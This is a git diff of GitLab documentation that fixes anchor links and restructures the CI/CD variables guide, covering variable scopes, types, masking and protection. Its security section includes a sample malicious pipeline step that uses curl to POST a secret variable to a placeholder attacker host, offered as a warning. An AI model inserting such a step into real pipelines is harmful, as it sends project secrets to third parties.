+ - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#cicd-variable-types).
In your project, go to **Settings > CI/CD > Variables** and add
the three variables listed above as file-typed CI/CD variables.
For each variable, set the value to its corresponding JSON object.
diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md
index 358117ed796..e38d9031ffd 100644
--- a/doc/ci/environments/deployment_safety.md
+++ b/doc/ci/environments/deployment_safety.md
@@ -110,7 +110,7 @@ for an explanation of these roles and the permissions of each.
Production secrets are needed to deploy successfully. For example, when deploying to the cloud,
cloud providers require these secrets to connect to their services. In the project settings, you can
-define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-custom-variable)
+define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-cicd-variable)
are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md)
or [protected tags](../../user/project/protected_tags.md).
The other pipelines don't get the protected variable. You can also
diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md
index 0a44232efd3..b6c7bc6653f 100644
--- a/doc/ci/migration/circleci.md
+++ b/doc/ci/migration/circleci.md
@@ -265,7 +265,7 @@ test_async:
## Contexts and variables
-CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-level-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
+CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs
diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md
index 1424868401e..c7dd4a46137 100644
--- a/doc/ci/migration/jenkins.md
+++ b/doc/ci/migration/jenkins.md
@@ -305,7 +305,7 @@ my_job:
In GitLab, we use the [`variables` keyword](../yaml/README.md#variables) to define different variables at runtime.
These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/README.md),
-including the section on [protected variables](../variables/README.md#protect-a-custom-variable) which can be used
+including the section on [protected variables](../variables/README.md#protect-a-cicd-variable) which can be used
to limit access to certain variables to certain environments or runners:
```yaml
diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md
index eac72bc7351..d140344b40d 100644
--- a/doc/ci/secrets/index.md
+++ b/doc/ci/secrets/index.md
@@ -114,7 +114,7 @@ In this example:
After GitLab fetches the secret from Vault, the value is saved in a temporary file.
The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`,
-similar to [variables of type `file`](../variables/README.md#custom-cicd-variables-of-type-file).
+similar to [variables of type `file`](../variables/README.md#cicd-variable-types).
For more information about the supported syntax, read the
[`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault).
diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md
index 394fc0dec81..6754e547d0d 100644
--- a/doc/ci/services/index.md
+++ b/doc/ci/services/index.md
@@ -189,7 +189,7 @@ To override the default behavior, you can
You can also pass custom CI/CD [variables](../variables/README.md)
to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file.
-For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#gitlab-ciyml-defined-variables).
+For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
```yaml
# The following variables are automatically passed down to the Postgres container
diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md
index 5bd034cbf97..2185af0141d 100644
--- a/doc/ci/services/mysql.md
+++ b/doc/ci/services/mysql.md
@@ -14,7 +14,7 @@ need it for your tests to run.
If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor.
-1. [Create CI/CD variables](../variables/README.md#create-a-custom-variable-in-the-ui) for your
+1. [Create CI/CD variables](../variables/README.md#custom-cicd-variables) for your
MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**,
and clicking **Add Variable**.
diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md
index 10b8a5f0c9e..8451d56a71c 100644
--- a/doc/ci/services/postgres.md
+++ b/doc/ci/services/postgres.md
@@ -31,7 +31,7 @@ variables:
To set values for the `POSTGRES_DB`, `POSTGRES_USER`,
`POSTGRES_PASSWORD` and `POSTGRES_HOST_AUTH_METHOD`,
-[assign them to a CI/CD variable in the user interface](../variables/README.md#create-a-custom-variable-in-the-ui),
+[assign them to a CI/CD variable in the user interface](../variables/README.md#custom-cicd-variables),
then assign that variable to the corresponding variable in your
`.gitlab-ci.yml` file.
diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md
index 9504f3cc237..e3e498277b2 100644
--- a/doc/ci/triggers/README.md
+++ b/doc/ci/triggers/README.md
@@ -192,7 +192,7 @@ source repository. Be sure to URL-encode `ref` if it contains slashes.
If you trigger a pipeline by using a webhook, you can access the webhook payload with
the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md).
-The payload is exposed as a [file-type variable](../variables/README.md#custom-cicd-variables-of-type-file),
+The payload is exposed as a [file-type variable](../variables/README.md#cicd-variable-types),
so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command.
## Making use of trigger variables
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md
index 5da501d4d8b..c366c032a4e 100644
--- a/doc/ci/variables/README.md
+++ b/doc/ci/variables/README.md
@@ -7,14 +7,18 @@ type: reference
# GitLab CI/CD variables **(FREE)**
-CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md)
-and jobs run. For example, you could:
+CI/CD variables are a type of environment variable. You can use them to:
-- Use the value of a `TEMP` variable to know the correct location to store temporary files.
-- Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts.
+- Control the behavior of jobs and [pipelines](../pipelines/index.md).
+- Store values you want to re-use.
+- Avoid hard-coding values in your `.gitlab-ci.yml` file.
-Variables can be used to customize your jobs in [GitLab CI/CD](../README.md).
-When you use variables, you don't have to hard-code values.
+You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
+
+- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- [Project CI/CD variables](#project-cicd-variables).
+- [Group CI/CD variables](#group-cicd-variables).
+- [Instance CI/CD variables](#instance-cicd-variables).
> For more information about advanced use of GitLab CI/CD:
>
@@ -26,24 +30,14 @@ When you use variables, you don't have to hard-code values.
## Predefined CI/CD variables
GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
-that you can use without any additional specification.
-You can call issue numbers, user names, branch names,
-pipeline and commit IDs, and much more.
-
-Predefined variables are provided by GitLab for the local environment of the runner.
-
-GitLab reads the `.gitlab-ci.yml` file and sends the information
-to the runner, where the variables are exposed. The runner then runs the script commands.
+you can use in pipelines configuration and job scripts.
### Use predefined CI/CD variables
-You can choose one of the existing predefined CI/CD variables
-to be output by the runner.
+You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
-This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`.
-
-In your `.gitlab-ci.yml` file, call the variable from your script. Ensure
-you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts).
+This example shows how to output a job's stage by using the `CI_JOB_STAGE`
+predefined variable:
```yaml
test_variable:
@@ -52,60 +46,101 @@ test_variable:
- echo $CI_JOB_STAGE
```
-In this case, the runner outputs the `stage` for the
-job `test_variable`, which is `test`:
+The script outputs the `stage` for the `test_variable`, which is `test`:
![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
## Custom CI/CD variables
-When you need a specific custom variable, you can
-[set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md),
-or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml).
+You can create custom CI/CD variables:
+
+- For a project:
+ - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+ - [In the project's settings](#project-cicd-variables).
+ - [With the API](../../api/project_level_variables.md).
+- For all projects in a group [in the group's setting](#group-cicd-variables).
+- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables).
-The variables are used by the runner any time the pipeline runs.
-You can also [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
+You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
-There are two types of variables: **Variable** and **File**. You cannot set types in
-the `.gitlab-ci.yml` file, but you can set them in the UI and API.
+There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
-### Create a custom variable in `.gitlab-ci.yml`
+### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
-To create a custom `env_var` variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
-define the variable/value pair under `variables`:
+To create a custom variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
+define the variable and value with `variables` keyword.
+
+You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file.
+If the variable is at the top level, it's globally available and all jobs can use it.
+If it's defined in a job, only that job can use it.
```yaml
variables:
- TEST: "HELLO WORLD"
+ TEST_VAR: "All jobs can use this variable's value"
+
+job1:
+ variables:
+ TEST_VAR_JOB: "Only job1 can use this variable's value"
+ script:
+ - echo $TEST_VAR and $TEST_VAR_JOB
```
-You can then call its value in your script:
+Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project
+configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are
+visible in the repository. Store sensitive variables containing secrets, keys, and so on
+in project settings.
+
+Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md).
+
+If you don't want globally defined variables to be available in a job, set `variables`
+to `{}`:
```yaml
+job1:
+ variables: {}
+ script:
+ - echo This job does not need any variables
+```
+
+You can use variables to help define other variables. Use `$$` to ignore a variable
+name inside another variable:
+
+```yaml
+variables:
+ FLAGS: '-al'
+ LS_CMD: 'ls $FLAGS $$TMP_DIR'
script:
- - echo "$TEST"
+ - 'eval $LS_CMD' # Executes 'ls -al $TMP_DIR'
```
-For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined-variables).
+Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
+keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
+for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
-### Create a custom variable in the UI
+### Project CI/CD variables
-From the UI, you can add or update custom variables:
+You can add CI/CD variables to a project's settings. Only project members with
+[maintainer permissions](../../user/permissions.md#project-members-permissions)
+can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
+in the project settings, not in the `.gitlab-ci.yml` file.
-1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
-1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details:
+To add or update variables in the project settings:
- - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- - **Value**: No limitations.
- - **Type**: `File` or `Variable`.
- - **Environment scope**: `All`, or specific [environments](../environments/index.md).
- - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements).
+1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
+1. Select the **Add Variable** button and fill in the details:
-After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button.
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: No limitations.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Environment scope**: `All`, or specific [environments](../environments/index.md).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ in job logs. The variable fails to save if the value does not meet the
+ [masking requirements](#mask-a-cicd-variable).
-After you set a variable, call it from the `.gitlab-ci.yml` file:
+After you create a variable, you can use it in the `.gitlab-ci.yml` file:
```yaml
test_variable:
@@ -121,114 +156,177 @@ The output is:
![Output custom variable](img/custom_variables_output.png)
-Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).
+### Group CI/CD variables
-#### Security
+To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
-Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables.
+Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
-All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before:
+- Do **not** use an external key store.
+- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
-- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
-- Merging the changes.
+To add a group variable:
-Here is a simplified example of a malicious `.gitlab-ci.yml`:
+1. In the group, go to **Settings > CI/CD**.
+1. Select the **Add Variable** button and fill in the details:
-```yaml
-build:
- script:
- - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
-```
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: No limitations.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ in job logs. The variable fails to save if the value does not meet the
+ [masking requirements](#mask-a-cicd-variable).
-### Custom CI/CD variables of type Variable
+To view the group-level variables available in a project:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
+1. In the project, go to **Settings > CI/CD**.
+1. Expand the **Variables** section.
+
+Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
+inherited.
+
+![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
+
+### Instance CI/CD variables
-For variables with the type **Variable**, the runner creates an environment variable
-that uses the key for the name and the value for the value.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
-There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type,
-which may be further validated. They appear when you add or update a variable in the UI.
+To make a CI/CD variable available to all projects and groups in a GitLab instance,
+define an instance CI/CD variable.
-### Custom CI/CD variables of type File
+You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md).
+
+To add an instance variable:
+
+1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
+1. Select the **Add variable** button, and fill in the details:
+
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028),
+ 10,000 characters is allowed. This is also bounded by the limits of the selected
+ runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is not shown
+ in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
+
+### CI/CD variable types
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
-For variables with the type **File**, the runner creates an environment variable that uses the key for the name.
-For the value, the runner writes the variable value to a temporary file and uses this path.
+All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
+are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
+or `File` type.
+
+`Variable` type variables:
+
+- Consist of a key and value pair.
+- Are made available in jobs as environment variables, with:
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value as the environment variable value.
+
+Use `File` type CI/CD variables for tools that need a file as input.
+
+`File` type variables:
+
+- Consist of a key, value and file.
+- Are made available in jobs as environment variables, with
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value saved to a temporary file.
+ - The path to the temporary file as the environment variable value.
-You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
+Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
-to customize your configuration by using **File** type variables.
+use `File` type variables for configuration.
-Previously, a common pattern was to read the value of a CI/CD variable, save it in a file, and then
-use that file in your script:
+For example, if you have the following variables:
+
+- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
+- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
+
+Use the variables in a job script like this:
```shell
-# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
-echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
-# Pass the newly created file to kubectl
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
```
-Instead of this, you can use a **File** type variable. For example, if you have the following variables:
+An alternative to `File` type variables is to:
-- A variable of type **Variable**: `KUBE_URL` with the value `https://example.com`.
-- A variable of type **File**: `KUBE_CA_PEM` with a certificate as the value.
-
-You can call them from `.gitlab-ci.yml`, like this:
+- Read the value of a CI/CD variable (`variable` type).
+- Save the value in a file.
+- Use that file in your script.
```shell
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
+# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
+echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
+# Pass the newly created file to kubectl
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
```
-### Mask a custom variable
+### Mask a CI/CD variable
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10
-Variables can be masked so that the value of the variable is hidden in job logs.
+You can mask a project, group, or instance CI/CD variable so the value of the variable
+does not display in job logs.
To mask a variable:
-1. Go to **Settings > CI/CD**.
+1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
-1. Next to the variable you want to protect, click **Edit**.
+1. Next to the variable you want to protect, select **Edit**.
1. Select the **Mask variable** check box.
-1. Click **Update variable**.
-
-#### Masked variable requirements
+1. Select **Update variable**.
The value of the variable must:
-- Be in a single line.
-- Be at least 8 characters long.
-- Not be a predefined or custom CI/CD variable.
-- Consist only of:
+- Be a single line.
+- Be 8 characters or longer, consisting only of:
- Characters from the Base64 alphabet (RFC4648).
- The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
- The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later).
+- Not match the name of an existing predefined or custom CI/CD variable.
-You can't mask variables that don't meet these requirements.
+### Protect a CI/CD variable
-### Protect a custom variable
-
-> Introduced in GitLab 9.3.
-
-Variables can be protected. When a variable is
-protected, it is only passed to pipelines running on
-[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get
-the protected variable.
+You can protect a project, group or instance CI/CD variable so it is only passed
+to pipelines running on [protected branches](../../user/project/protected_branches.md)
+or [protected tags](../../user/project/protected_tags.md).
To protect a variable:
-1. Go to **Settings > CI/CD**.
+1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
-1. Next to the variable you want to protect, click **Edit**.
+1. Next to the variable you want to protect, select **Edit**.
1. Select the **Protect variable** check box.
-1. Click **Update variable**.
+1. Select **Update variable**.
The variable is available for all subsequent pipelines.
+### CI/CD variable security
+
+Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
+and send them to a third party server regardless of the masked setting. If the pipeline
+runs on a [protected branch](../../user/project/protected_branches.md) or
+[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
+
+Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
+
+- [Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
+- Merge the changes.
+
+The following example shows malicious code in a `.gitlab-ci.yml` file:
+
+```yaml
+build:
+ script:
+ - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
+```
+
### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
@@ -240,26 +338,21 @@ Some variables are listed in the UI so you can choose them more quickly.
| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
WARNING:
-When you store credentials, there are security implications. If you are using AWS keys,
-for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
+When you store credentials, there are [security implications](#cicd-variable-security).
+If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
-## Syntax of CI/CD variables in job scripts
+## Use CI/CD variables in job scripts
-All variables are set as environment variables in the build environment, and
-they are accessible with normal methods that are used to access such variables.
-In most cases `bash` or `sh` is used to execute the job script.
+All CI/CD variables are set as environment variables in the job's environment.
+You can use variables in job scripts with the standard formatting for each environment's
+shell.
-To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/).
+To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
-| Shell | Usage |
-|----------------------|------------------------------------------|
-| bash/sh | `$variable` |
-| PowerShell | `$env:variable` (primary) or `$variable` |
-| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. |
+### Use variables with Bash, `sh` and similar
-### Bash
-
-To access environment variables in **bash**, prefix the CI/CD variable name with (`$`):
+To access environment variables in Bash, `sh`, and similar shells, prefix the
+CI/CD variable with (`$`):
```yaml
job_name:
@@ -267,13 +360,10 @@ job_name:
- echo $CI_JOB_ID
```
-### PowerShell
+### Use variables with PowerShell
-To access variables in a **Windows PowerShell** environment, including system set
-environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables
-can also be accessed by prefixing the variable name with (`$`) with
-[GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68)
-and later.
+To access variables in a Windows PowerShell environment, including environment
+variables set by the system, prefix the variable name with (`$env:`) or (`$`):
```yaml
job_name:
@@ -284,7 +374,7 @@ job_name:
```
In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
-environment variables may need to be surrounded by quotes to expand properly:
+environment variables might need to be surrounded by quotes to expand properly:
```yaml
job_name:
@@ -294,8 +384,8 @@ job_name:
### Windows Batch
-To access environment variables in **Windows Batch**, surround the variable
-with (`%`):
+To access environment variables in Windows Batch, surround the variable
+with `%`:
```yaml
job_name:
@@ -303,34 +393,45 @@ job_name:
- echo %CI_JOB_ID%
```
+You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html).
+Delayed expansion might be needed for variables that contain white spaces or newlines.
+
+```yaml
+job_name:
+ script:
+ - echo !ERROR_MESSAGE!
+```
+
### List all environment variables
-You can also list all environment variables with the `export` command in Bash
-or `dir env:` command in PowerShell.
-Be aware that this also exposes the values of all the variables
-you set, in the job log:
+You can list all environment variables available to a script with the `export` command
+in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
+variables, which can be a [security risk](#cicd-variable-security).
+[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
+
+For example:
```yaml
job_name:
script:
- export
- # - 'dir env:' # use this for PowerShell
+ # - 'dir env:' # Use this for PowerShell
```
-Example values:
+Example job log output:
```shell
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="master"
-export CI_REPOSITORY_URL="https://gitlab-ci-token:abcde-1234ABCD5678ef@example.com/gitlab-org/gitlab-foss.git"
+export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
-export CI_JOB_TOKEN="abcde-1234ABCD5678ef"
+export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
@@ -346,7 +447,7 @@ export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY="registry.example.com"
export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY_USER="gitlab-ci-token"
-export CI_REGISTRY_PASSWORD="longalfanumstring"
+export CI_REGISTRY_PASSWORD="[masked]"
export CI_RUNNER_ID="10"
export CI_RUNNER_DESCRIPTION="my runner"
export CI_RUNNER_TAGS="docker, linux"
@@ -363,114 +464,7 @@ export CI_SERVER_VERSION_MINOR="9"
export CI_SERVER_VERSION_PATCH="0"
export GITLAB_USER_EMAIL="user@example.com"
export GITLAB_USER_ID="42"
-```
-
-## `.gitlab-ci.yml` defined variables
-
-You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository,
-and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or
-`DATABASE_URL`.
-
-For example, if you set the variable below globally (not inside a job), it is
-used in all executed commands and scripts:
-
-```yaml
-variables:
- DATABASE_URL: "postgres://postgres@postgres/my_database"
-```
-
-The YAML-defined variables are also set to all created
-[service containers](../docker/using_docker_images.md), so that you can fine
-tune them.
-
-Variables can be defined at a global level, but also at a job level. To turn off
-global defined variables in your job, define an empty hash:
-
-```yaml
-job_name:
- variables: {}
-```
-
-You are able to use other variables inside your variable definition (or escape them with `$$`):
-
-```yaml
-variables:
- LS_CMD: 'ls $FLAGS $$TMP_DIR'
- FLAGS: '-al'
-script:
- - 'eval $LS_CMD' # will execute 'ls -al $TMP_DIR'
-```
-
-Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
-keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
-when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):
-
-## Group-level CI/CD variables
-
-> Introduced in GitLab 9.4.
-
-You can define per-project or per-group variables that are set in the pipeline environment.
-Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`).
-They are securely passed to GitLab Runner, which makes them available during a pipeline run.
-
-We recommend using group variables to store secrets (like passwords, SSH keys, and
-credentials) for users who:
-
-- Do **not** use an external key store.
-- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
-
-Group-level variables can be added by:
-
-1. Navigating to your group's **Settings > CI/CD** page.
-1. Inputting variable types, keys, and values in the **Variables** section.
- Any variables of [subgroups](../../user/group/subgroups/index.md) are inherited recursively.
-
-After you set them, they are available for all subsequent pipelines. Any group-level user defined variables can be viewed in projects by:
-
-1. Navigating to the project's **Settings > CI/CD** page.
-1. Expanding the **Variables** section.
-
-![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-
-## Instance-level CI/CD variables
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
-
-Instance variables are useful for no longer needing to manually enter the same credentials repeatedly for all your projects. Instance-level variables are available to all projects and groups on the instance.
-
-In GitLab 13.1 and later, the [maximum number of instance-level variables is 25](https://gitlab.com/gitlab-org/gitlab/-/issues/216097).
-
-You can define instance-level variables via the UI or [API](../../api/instance_level_ci_variables.md).
-
-To add an instance-level variable:
-
-1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
-1. Click the **Add variable** button, and fill in the details:
-
- - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.
- - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed.
- - **Type**: `File` or `Variable`.
- - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements).
-
-After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button.
-
-### Enable or disable UI interface for instance-level CI/CD variables
-
-The UI interface for Instance-level CI/CD variables is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:instance_variables_ui)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:instance_variables_ui)
+...
```
## Inherit CI/CD variables
@@ -530,9 +524,9 @@ The order of precedence for variables is (from highest to lowest):
1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline).
